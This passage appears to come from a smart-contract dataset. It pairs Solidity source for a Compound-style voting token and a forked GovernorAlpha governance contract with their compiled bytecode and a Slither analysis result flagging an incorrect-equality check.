* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
} | 0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea571461025f578063c3cda52014610272578063dd62ed3e14610285578063e7a324dc14610298578063f1127ed8146102a057610121565b806370a08231146101fe578063782d6fe1146102115780637ecebe001461023157806395d89b4114610244578063a9059cbb1461024c57610121565b806323b872dd116100f457806323b872dd14610181578063313ce56714610194578063587cde1e146101a95780635c19a95c146101c95780636fcfff45146101de57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016457806320606b7014610179575b600080fd5b61012e6102c1565b60405161013b9190611739565b60405180910390f35b610157610152366004611202565b6102e4565b60405161013b919061168f565b61016c6103a1565b60405161013b919061169d565b61016c6103b0565b61015761018f3660046111b5565b6103c7565b61019c61050c565b60405161013b91906117d3565b6101bc6101b7366004611155565b610511565b60405161013b9190611681565b6101dc6101d7366004611155565b61052c565b005b6101f16101ec366004611155565b610539565b60405161013b91906117aa565b61016c61020c366004611155565b610551565b61022461021f366004611202565b610575565b60405161013b91906117ef565b61016c61023f366004611155565b61078c565b61012e61079e565b61015761025a366004611202565b6107bd565b61022461026d366004611155565b6107f9565b6101dc610280366004611232565b610869565b61016c61029336600461117b565b610a52565b61016c610a84565b6102b36102ae3660046112b9565b610a90565b60405161013b9291906117b8565b6040518060400160405280600781526020016614195c98d95b9d60ca1b81525081565b6000806000198314156102fa575060001961031f565b61031c8360405180606001604052806025815260200161190b60259139610ac5565b90505b336000818152602081815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061038d9085906117e1565b60405180910390a360019150505b92915050565b6a108b2a2c2802909400000081565b6040516103bc9061166b565b604051809103902081565b6001600160a01b0383166000908152602081815260408083203380855290835281842054825160608101909352602580845291936001600160601b0390911692859261041d928892919061190b90830139610ac5565b9050866001600160a01b0316836001600160a01b03161415801561044a57506001600160601b0382811614155b156104f257600061047483836040518060600160405280603d81526020016119e2603d9139610af4565b6001600160a01b03898116600081815260208181526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104e89085906117e1565b60405180910390a3505b6104fd878783610b33565b600193505050505b9392505050565b601281565b6002602052600090815260409020546001600160a01b031681565b6105363382610cde565b50565b60046020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600160205260409020546001600160601b031690565b600043821061059f5760405162461bcd60e51b81526004016105969061176a565b60405180910390fd5b6001600160a01b03831660009081526004602052604090205463ffffffff16806105cd57600091505061039b565b6001600160a01b038416600090815260036020908152604080832063ffffffff600019860181168552925290912054168310610649576001600160a01b03841660009081526003602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b0316905061039b565b6001600160a01b038416600090815260036020908152604080832083805290915290205463ffffffff1683101561068457600091505061039b565b600060001982015b8163ffffffff168163ffffffff16111561074757600282820363ffffffff160481036106b6611112565b506001600160a01b038716600090815260036020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b031691810191909152908714156107225760200151945061039b9350505050565b805163ffffffff1687111561073957819350610740565b6001820392505b505061068c565b506001600160a01b038516600090815260036020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60056020526000908152604090205481565b604051806040016040528060038152602001621410d560ea1b81525081565b6000806107e28360405180606001604052806026815260200161193060269139610ac5565b90506107ef338583610b33565b5060019392505050565b6001600160a01b03811660009081526004602052604081205463ffffffff1680610824576000610505565b6001600160a01b0383166000908152600360209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03169392505050565b60006040516108779061166b565b60408051918290038220828201909152600782526614195c98d95b9d60ca1b6020909201919091527fbfe8a66cba71527508d079132b509ec8f4e0d22bf50ea567b7013c8e43c4d3f46108c8610d68565b306040516020016108dc94939291906116e9565b604051602081830303815290604052805190602001209050600060405161090290611676565b60405190819003812061091d918a908a908a906020016116ab565b6040516020818303038152906040528051906020012090506000828260405160200161094a92919061163a565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610987949392919061171e565b6020604051602081039080840390855afa1580156109a9573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166109dc5760405162461bcd60e51b81526004016105969061174a565b6001600160a01b03811660009081526005602052604090208054600181019091558914610a1b5760405162461bcd60e51b81526004016105969061177a565b87421115610a3b5760405162461bcd60e51b81526004016105969061175a565b610a45818b610cde565b505050505b505050505050565b6001600160a01b039182166000908152602081815260408083209390941682529190915220546001600160601b031690565b6040516103bc90611676565b600360209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610aec5760405162461bcd60e51b81526004016105969190611739565b509192915050565b6000836001600160601b0316836001600160601b031611158290610b2b5760405162461bcd60e51b81526004016105969190611739565b505050900390565b6001600160a01b038316610b595760405162461bcd60e51b81526004016105969061179a565b6001600160a01b038216610b7f5760405162461bcd60e51b81526004016105969061178a565b6001600160a01b038316600090815260016020908152604091829020548251606081019093526036808452610bca936001600160601b0390921692859291906118d590830139610af4565b6001600160a01b03848116600090815260016020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526030808452610c3294919091169285929091906119b290830139610d6c565b6001600160a01b038381166000818152600160205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c9f9085906117e1565b60405180910390a36001600160a01b03808416600090815260026020526040808220548584168352912054610cd992918216911683610da8565b505050565b6001600160a01b03808316600081815260026020818152604080842080546001845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610d62828483610da8565b50505050565b4690565b6000838301826001600160601b038087169083161015610d9f5760405162461bcd60e51b81526004016105969190611739565b50949350505050565b816001600160a01b0316836001600160a01b031614158015610dd357506000816001600160601b0316115b15610cd9576001600160a01b03831615610e8b576001600160a01b03831660009081526004602052604081205463ffffffff169081610e13576000610e52565b6001600160a01b0385166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610e79828560405180606001604052806028815260200161198a60289139610af4565b9050610e8786848484610f36565b5050505b6001600160a01b03821615610cd9576001600160a01b03821660009081526004602052604081205463ffffffff169081610ec6576000610f05565b6001600160a01b0384166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610f2c8285604051806060016040528060278152602001611a1f60279139610d6c565b9050610a4a858484845b6000610f5a43604051806060016040528060348152602001611956603491396110eb565b905060008463ffffffff16118015610fa357506001600160a01b038516600090815260036020908152604080832063ffffffff6000198901811685529252909120548282169116145b15611002576001600160a01b0385166000908152600360209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b038516021790556110a1565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600383528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600490935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a72484846040516110dc9291906117fd565b60405180910390a25050505050565b600081600160201b8410610aec5760405162461bcd60e51b81526004016105969190611739565b604080518082019091526000808252602082015290565b803561039b816118a5565b803561039b816118b9565b803561039b816118c2565b803561039b816118cb565b60006020828403121561116757600080fd5b60006111738484611129565b949350505050565b6000806040838503121561118e57600080fd5b600061119a8585611129565b92505060206111ab85828601611129565b9150509250929050565b6000806000606084860312156111ca57600080fd5b60006111d68686611129565b93505060206111e786828701611129565b92505060406111f886828701611134565b9150509250925092565b6000806040838503121561121557600080fd5b60006112218585611129565b92505060206111ab85828601611134565b60008060008060008060c0878903121561124b57600080fd5b60006112578989611129565b965050602061126889828a01611134565b955050604061127989828a01611134565b945050606061128a89828a0161114a565b935050608061129b89828a01611134565b92505060a06112ac89828a01611134565b9150509295509295509295565b600080604083850312156112cc57600080fd5b60006112d88585611129565b92505060206111ab8582860161113f565b6112f28161182a565b82525050565b6112f281611835565b6112f28161183a565b6112f26113168261183a565b61183a565b600061132682611818565b611330818561181c565b935061134081856020860161186f565b6113498161189b565b9093019392505050565b600061136060268361181c565b7f436f6d703a3a64656c656761746542795369673a20696e76616c6964207369678152656e617475726560d01b602082015260400192915050565b60006113a860268361181c565b7f436f6d703a3a64656c656761746542795369673a207369676e617475726520658152651e1c1a5c995960d21b602082015260400192915050565b60006113f0600283611825565b61190160f01b815260020192915050565b600061140e60278361181c565b7f436f6d703a3a6765745072696f72566f7465733a206e6f742079657420646574815266195c9b5a5b995960ca1b602082015260400192915050565b600061145760228361181c565b7f436f6d703a3a64656c656761746542795369673a20696e76616c6964206e6f6e815261636560f01b602082015260400192915050565b600061149b603a8361181c565b7f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e7366657220746f20746865207a65726f2061646472657373000000000000602082015260400192915050565b60006114fa604383611825565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b6000611565603c8361181c565b7f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e736665722066726f6d20746865207a65726f206164647265737300000000602082015260400192915050565b60006115c4603a83611825565b7f44656c65676174696f6e28616464726573732064656c6567617465652c75696e81527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020820152603a0192915050565b6112f281611849565b6112f281611852565b6112f281611864565b6112f281611858565b6000611645826113e3565b9150611651828561130a565b602082019150611661828461130a565b5060200192915050565b600061039b826114ed565b600061039b826115b7565b6020810161039b82846112e9565b6020810161039b82846112f8565b6020810161039b8284611301565b608081016116b98287611301565b6116c660208301866112e9565b6116d36040830185611301565b6116e06060830184611301565b95945050505050565b608081016116f78287611301565b6117046020830186611301565b6117116040830185611301565b6116e060608301846112e9565b6080810161172c8287611301565b6116c6602083018661161f565b60208082528101610505818461131b565b6020808252810161039b81611353565b6020808252810161039b8161139b565b6020808252810161039b81611401565b6020808252810161039b8161144a565b6020808252810161039b8161148e565b6020808252810161039b81611558565b6020810161039b8284611616565b604081016117c68285611616565b6105056020830184611631565b6020810161039b828461161f565b6020810161039b8284611628565b6020810161039b8284611631565b6040810161180b8285611628565b6105056020830184611628565b5190565b90815260200190565b919050565b600061039b8261183d565b151590565b90565b6001600160a01b031690565b63ffffffff1690565b60ff1690565b6001600160601b031690565b600061039b82611858565b60005b8381101561188a578181015183820152602001611872565b83811115610d625750506000910152565b601f01601f191690565b6118ae8161182a565b811461053657600080fd5b6118ae8161183a565b6118ae81611849565b6118ae8161185256fe436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365436f6d703a3a617070726f76653a20616d6f756e7420657863656564732039362062697473436f6d703a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473436f6d703a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773436f6d703a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a365627a7a72315820606a6b955e60abf1660495cac2b98948fcb1ceac8ca7a46f64edac531eed36606c6578706572696d656e74616cf564736f6c63430005100040 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 10,629 |
0x542ED9b1b50dC686e88404C73C062faA39568304 | pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "Compound Governor Alpha";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public view returns (uint) {
return div256(comp.totalSupply(), 25);
} // 4% of ZONE
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public view returns (uint) {
return div256(comp.totalSupply(), 100);
} // 1% of ZONE
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks)
/// @notice The address of the Compound Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the Compound governance token
CompInterface public comp;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint256 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address comp_, address guardian_) public {
timelock = TimelockInterface(timelock_);
comp = CompInterface(comp_);
guardian = guardian_;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(comp.getPriorVotes(msg.sender, sub256(block.number, 1)) >= proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian || comp.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint256 votes = comp.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __setTimelockPendingAdmin(address newPendingAdmin) public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.setPendingAdmin(newPendingAdmin);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function div256(uint256 a, uint256 b) internal pure returns (uint) {
require(b > 0, "division by zero");
uint256 c = a / b;
return c;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function setPendingAdmin(address pendingAdmin_) external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface CompInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint256);
function totalSupply() external view returns (uint256);
} | 0x6080604052600436106101815760003560e01c80634634c61f116100d1578063d33219b41161008a578063ddf0b00911610064578063ddf0b00914610428578063deaaa7cc14610448578063e23a9a521461045d578063fe0d94c11461048a57610181565b8063d33219b4146103de578063da35c664146103f3578063da95691a1461040857610181565b80634634c61f1461034a57806360bc54971461036a578063760fbc131461038a5780637bdbe4d01461039f578063b58131b0146103b4578063b9a61961146103c957610181565b806320606b701161013e5780633932abb1116101185780633932abb1146102c65780633e4f49e6146102db57806340e58ee514610308578063452a93201461032857610181565b806320606b701461026c57806324bc1a6414610281578063328dd9821461029657610181565b8063013cf08b1461018657806302a251a3146101c457806306fdde03146101e6578063109d0af81461020857806315373e3d1461022a57806317977c611461024c575b600080fd5b34801561019257600080fd5b506101a66101a1366004612398565b61049d565b6040516101bb9998979695949392919061336f565b60405180910390f35b3480156101d057600080fd5b506101d96104f6565b6040516101bb91906130b9565b3480156101f257600080fd5b506101fb6104fd565b6040516101bb9190613168565b34801561021457600080fd5b5061021d610530565b6040516101bb919061314c565b34801561023657600080fd5b5061024a6102453660046123f0565b61053f565b005b34801561025857600080fd5b506101d9610267366004612215565b61054e565b34801561027857600080fd5b506101d9610560565b34801561028d57600080fd5b506101d9610577565b3480156102a257600080fd5b506102b66102b1366004612398565b61060e565b6040516101bb949392919061306c565b3480156102d257600080fd5b506101d961089d565b3480156102e757600080fd5b506102fb6102f6366004612398565b6108a2565b6040516101bb919061315a565b34801561031457600080fd5b5061024a610323366004612398565b610a2d565b34801561033457600080fd5b5061033d610c8d565b6040516101bb9190612f65565b34801561035657600080fd5b5061024a610365366004612420565b610c9c565b34801561037657600080fd5b5061024a610385366004612215565b610e34565b34801561039657600080fd5b5061024a610ebc565b3480156103ab57600080fd5b506101d9610ef8565b3480156103c057600080fd5b506101d9610efd565b3480156103d557600080fd5b5061024a610f8f565b3480156103ea57600080fd5b5061021d611014565b3480156103ff57600080fd5b506101d9611023565b34801561041457600080fd5b506101d961042336600461223b565b611029565b34801561043457600080fd5b5061024a610443366004612398565b611443565b34801561045457600080fd5b506101d96116ad565b34801561046957600080fd5b5061047d6104783660046123b6565b6116b9565b6040516101bb91906132b9565b61024a610498366004612398565b61171d565b6004602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b9097015495966001600160a01b0390951695939492939192909160ff8082169161010090041689565b6143805b90565b60405180604001604052806017815260200176436f6d706f756e6420476f7665726e6f7220416c70686160481b81525081565b6001546001600160a01b031681565b61054a3383836118e2565b5050565b60056020526000908152604090205481565b60405161056c90612f4f565b604051809103902081565b6000610609600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156105ca57600080fd5b505afa1580156105de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506106029190810190612345565b6019611a7e565b905090565b6060806060806000600460008781526020019081526020016000209050806003018160040182600501836006018380548060200260200160405190810160405280929190818152602001828054801561069057602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610672575b50505050509350828054806020026020016040519081016040528092919081815260200182805480156106e257602002820191906000526020600020905b8154815260200190600101908083116106ce575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156107b55760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156107a15780601f10610776576101008083540402835291602001916107a1565b820191906000526020600020905b81548152906001019060200180831161078457829003601f168201915b50505050508152602001906001019061070a565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156108875760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156108735780601f1061084857610100808354040283529160200191610873565b820191906000526020600020905b81548152906001019060200180831161085657829003601f168201915b5050505050815260200190600101906107dc565b5050505090509450945094509450509193509193565b600190565b600081600354101580156108b65750600082115b6108db5760405162461bcd60e51b81526004016108d2906131a9565b60405180910390fd5b6000828152600460205260409020600b81015460ff1615610900576002915050610a28565b80600701544311610915576000915050610a28565b8060080154431161092a576001915050610a28565b80600a0154816009015411158061094b5750610944610577565b8160090154105